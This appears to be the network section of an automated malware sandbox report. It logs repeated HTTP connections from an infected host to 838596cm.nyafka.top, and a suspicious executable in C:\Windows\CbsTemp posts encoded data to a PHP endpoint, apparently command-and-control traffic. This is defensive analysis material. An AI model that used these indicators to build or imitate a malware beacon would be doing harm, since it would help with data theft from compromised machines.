Jan 8, 2025 17:14:34.269891024 CET	50108	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:34.451332092 CET	80	50108	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:34.504259109 CET	50108	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:34.728583097 CET	50108	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:34.729201078 CET	50109	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:34.733623028 CET	80	50108	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:34.734016895 CET	80	50109	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:34.734093904 CET	50108	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:34.734129906 CET	50109	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:34.734276056 CET	50109	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:34.739013910 CET	80	50109	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.082990885 CET	50109	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.087945938 CET	80	50109	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.087959051 CET	80	50109	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.087970018 CET	80	50109	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.194483042 CET	80	50109	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.238641977 CET	50109	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.429754972 CET	80	50109	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.458573103 CET	50109	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.458832979 CET	50110	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.463639975 CET	80	50110	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.463682890 CET	80	50109	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.463752985 CET	50109	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.463762999 CET	50110	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.463852882 CET	50110	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.468595982 CET	80	50110	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.549772978 CET	50110	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.550698996 CET	50111	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.555469036 CET	80	50111	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.556214094 CET	50111	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.556314945 CET	50111	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.561110973 CET	80	50111	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.598408937 CET	80	50110	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.818867922 CET	80	50110	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.818964005 CET	50110	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.910931110 CET	50111	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:35.915882111 CET	80	50111	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.915893078 CET	80	50111	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:35.915901899 CET	80	50111	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:36.001693010 CET	80	50111	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:36.051264048 CET	50111	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:36.197776079 CET	80	50111	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:36.238637924 CET	50111	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:36.316028118 CET	50111	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:36.316544056 CET	50112	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:36.322192907 CET	80	50111	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:36.322256088 CET	50111	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:36.322457075 CET	80	50112	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:36.322510958 CET	50112	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:36.322587013 CET	50112	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:36.328423977 CET	80	50112	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:36.676237106 CET	50112	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:36.681154013 CET	80	50112	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:36.681169033 CET	80	50112	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:36.681178093 CET	80	50112	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:36.769468069 CET	80	50112	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:36.816759109 CET	50112	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.007286072 CET	80	50112	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:37.051141977 CET	50112	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.129534006 CET	50113	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.135423899 CET	80	50113	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:37.135504007 CET	50113	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.135581017 CET	50113	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.140337944 CET	80	50113	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:37.488749027 CET	50113	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.493828058 CET	80	50113	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:37.493839979 CET	80	50113	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:37.493849993 CET	80	50113	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:37.588771105 CET	80	50113	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:37.629259109 CET	50113	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.824599981 CET	80	50113	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:37.879261971 CET	50113	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.940789938 CET	50113	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.941188097 CET	50114	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.946012020 CET	80	50114	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:37.946203947 CET	50114	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.947278976 CET	80	50113	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:37.947488070 CET	50113	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.947565079 CET	50114	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:37.952337980 CET	80	50114	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:38.301282883 CET	50114	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:38.307456017 CET	80	50114	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:38.307468891 CET	80	50114	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:38.307480097 CET	80	50114	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:38.408699036 CET	80	50114	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:38.457390070 CET	50114	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:38.642662048 CET	80	50114	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:38.691773891 CET	50114	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:38.767779112 CET	50114	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:38.768433094 CET	50115	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:38.773813009 CET	80	50114	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:38.773889065 CET	50114	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:38.773921967 CET	80	50115	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:38.774200916 CET	50115	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:38.774271011 CET	50115	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:38.779933929 CET	80	50115	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.129385948 CET	50115	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.176188946 CET	50115	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.177036047 CET	80	50115	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.177057981 CET	80	50115	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.177078009 CET	80	50115	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.181490898 CET	80	50115	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.237051010 CET	80	50115	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.285506010 CET	50115	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.433374882 CET	80	50115	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.488629103 CET	50115	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.550128937 CET	50112	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.550203085 CET	50080	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.553544044 CET	50115	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.554467916 CET	50116	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.558557034 CET	80	50115	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.558621883 CET	50115	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.559261084 CET	80	50116	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.559329033 CET	50116	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.559429884 CET	50116	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.564147949 CET	80	50116	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.910693884 CET	50116	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:39.915743113 CET	80	50116	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.915757895 CET	80	50116	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:39.915766954 CET	80	50116	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.013546944 CET	80	50116	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.053337097 CET	50116	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.178446054 CET	80	50116	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.223053932 CET	50116	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.300195932 CET	50116	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.300829887 CET	50117	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.305224895 CET	80	50116	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.305305958 CET	50116	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.305608034 CET	80	50117	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.305682898 CET	50117	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.305784941 CET	50117	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.310508013 CET	80	50117	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.552181959 CET	50117	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.554744959 CET	50118	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.559598923 CET	80	50118	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.559711933 CET	50118	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.559844971 CET	50118	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.564595938 CET	80	50118	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.602404118 CET	80	50117	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.674515963 CET	80	50117	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.674585104 CET	50117	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.675231934 CET	50119	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.680020094 CET	80	50119	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.680093050 CET	50119	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.680288076 CET	50119	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.685055017 CET	80	50119	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.910801888 CET	50118	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:40.916946888 CET	80	50118	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:40.918104887 CET	80	50118	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.014779091 CET	80	50118	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.035644054 CET	50119	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.040700912 CET	80	50119	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.040713072 CET	80	50119	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.040723085 CET	80	50119	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.066857100 CET	50118	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.145029068 CET	80	50119	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.191767931 CET	50119	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.435224056 CET	80	50118	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.435292006 CET	80	50119	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.488692999 CET	50119	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.488692999 CET	50118	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.490447044 CET	80	50118	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.490498066 CET	50118	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.552913904 CET	50118	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.552974939 CET	50119	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.553572893 CET	50120	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.557939053 CET	80	50118	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.558095932 CET	50118	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.558285952 CET	80	50119	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.558334112 CET	50119	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.558383942 CET	80	50120	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.558463097 CET	50120	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.558564901 CET	50120	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.563333988 CET	80	50120	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.910624981 CET	50120	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:41.915556908 CET	80	50120	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.915571928 CET	80	50120	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:41.915580034 CET	80	50120	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:42.003712893 CET	80	50120	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:42.051135063 CET	50120	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:42.246547937 CET	80	50120	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:42.301148891 CET	50120	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:42.376060009 CET	50120	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:42.376322031 CET	50121	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:42.380983114 CET	80	50120	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:42.381048918 CET	50120	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:42.381103992 CET	80	50121	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:42.381181002 CET	50121	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:42.381316900 CET	50121	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:42.386111975 CET	80	50121	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:42.738692999 CET	50121	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:42.743634939 CET	80	50121	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:42.743653059 CET	80	50121	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:42.743663073 CET	80	50121	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:42.834228992 CET	80	50121	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:42.879287004 CET	50121	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:42.994313955 CET	80	50121	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:43.035528898 CET	50121	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:43.112740040 CET	50121	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:43.112926006 CET	50122	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:43.117748976 CET	80	50122	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:43.117829084 CET	80	50121	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:43.117839098 CET	50122	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:43.117880106 CET	50121	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:43.118020058 CET	50122	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:43.122802019 CET	80	50122	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:43.473115921 CET	50122	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:43.478122950 CET	80	50122	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:43.478141069 CET	80	50122	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:43.478148937 CET	80	50122	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:43.566772938 CET	80	50122	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:43.613678932 CET	50122	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:43.815283060 CET	80	50122	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:43.863646030 CET	50122	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:43.902657032 CET	80	50122	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:43.957396984 CET	50122	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.018699884 CET	50122	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.019294024 CET	50123	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.023736000 CET	80	50122	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:44.023797989 CET	50122	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.024100065 CET	80	50123	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:44.024168968 CET	50123	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.024257898 CET	50123	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.029011011 CET	80	50123	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:44.379733086 CET	50123	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.384712934 CET	80	50123	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:44.384726048 CET	80	50123	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:44.384741068 CET	80	50123	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:44.500855923 CET	80	50123	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:44.551136017 CET	50123	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.728779078 CET	80	50123	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:44.769882917 CET	50123	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.845546961 CET	50123	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.845788956 CET	50124	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.850631952 CET	80	50124	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:44.850703001 CET	50124	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.850786924 CET	50124	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.850788116 CET	80	50123	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:44.850835085 CET	50123	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:44.855551958 CET	80	50124	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:45.207487106 CET	50124	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:45.212328911 CET	80	50124	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:45.212399960 CET	80	50124	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:45.212409973 CET	80	50124	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:45.332664967 CET	80	50124	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:45.379281044 CET	50124	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:45.504025936 CET	80	50124	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:45.551140070 CET	50124	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:45.636528969 CET	50124	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:45.641546965 CET	80	50124	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:45.642096043 CET	50124	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:45.642616987 CET	50125	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:45.647411108 CET	80	50125	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:45.647480965 CET	50125	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:45.647558928 CET	50125	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:45.652364969 CET	80	50125	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.004379988 CET	50125	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.009495020 CET	80	50125	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.009507895 CET	80	50125	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.009519100 CET	80	50125	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.088675976 CET	80	50125	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.129271984 CET	50125	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.259602070 CET	80	50125	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.301139116 CET	50125	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.376811028 CET	50125	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.377031088 CET	50126	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.383044004 CET	80	50125	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.383059025 CET	80	50126	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.383107901 CET	50125	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.383145094 CET	50126	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.383224010 CET	50126	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.388385057 CET	80	50126	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.443043947 CET	50127	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.443125963 CET	50126	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.447985888 CET	80	50127	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.450227022 CET	50127	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.490659952 CET	80	50126	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.538193941 CET	50127	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.543066025 CET	80	50127	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.660582066 CET	50128	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.666498899 CET	80	50128	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.666574955 CET	50128	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.666691065 CET	50128	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.672404051 CET	80	50128	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.765321970 CET	80	50126	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.765408039 CET	50126	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.894947052 CET	50127	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:46.899878979 CET	80	50127	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.899904013 CET	80	50127	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:46.902865887 CET	80	50127	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:47.122488976 CET	80	50127	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:47.126219988 CET	50127	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:47.154825926 CET	80	50128	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:47.179752111 CET	80	50127	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:47.238678932 CET	50128	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:14:47.268209934 CET	80	50127	104.21.112.1	192.168.2.5
Jan 8, 2025 17:14:47.270225048 CET	50127	80	192.168.2.5	104.21.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 17:12:55.403954983 CET	51462	53	192.168.2.5	1.1.1.1
Jan 8, 2025 17:12:55.765688896 CET	53	51462	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 17:12:55.403954983 CET	192.168.2.5	1.1.1.1	0xfe3f	Standard query (0)	838596cm.nyafka.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 17:12:55.765688896 CET	1.1.1.1	192.168.2.5	0xfe3f	No error (0)	838596cm.nyafka.top	104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:12:55.765688896 CET	1.1.1.1	192.168.2.5	0xfe3f	No error (0)	838596cm.nyafka.top	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:12:55.765688896 CET	1.1.1.1	192.168.2.5	0xfe3f	No error (0)	838596cm.nyafka.top	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:12:55.765688896 CET	1.1.1.1	192.168.2.5	0xfe3f	No error (0)	838596cm.nyafka.top	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:12:55.765688896 CET	1.1.1.1	192.168.2.5	0xfe3f	No error (0)	838596cm.nyafka.top	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:12:55.765688896 CET	1.1.1.1	192.168.2.5	0xfe3f	No error (0)	838596cm.nyafka.top	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:12:55.765688896 CET	1.1.1.1	192.168.2.5	0xfe3f	No error (0)	838596cm.nyafka.top	104.21.64.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

838596cm.nyafka.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49853	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:12:55.777849913 CET	348	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:12:56.133930922 CET	344	OUT	Data Raw: 05 06 01 07 06 0c 01 00 05 06 02 01 02 02 01 01 00 04 05 09 02 06 03 0f 02 06 0f 53 07 07 03 06 0f 0e 05 0d 00 06 06 06 0c 04 07 0b 04 05 06 06 06 01 0d 09 0f 50 04 06 06 07 07 03 04 02 06 09 00 03 0c 08 05 0e 06 51 0c 50 0b 07 0f 04 0e 06 06 03 Data Ascii: SPQPTTR\L~Nj@vb[Ove`@\|oeOclpM~sQ_l\|UzpXknttwZ~_~V@xSTN}\S
Jan 8, 2025 17:12:56.495764017 CET	25	IN	HTTP/1.1 100 Continue
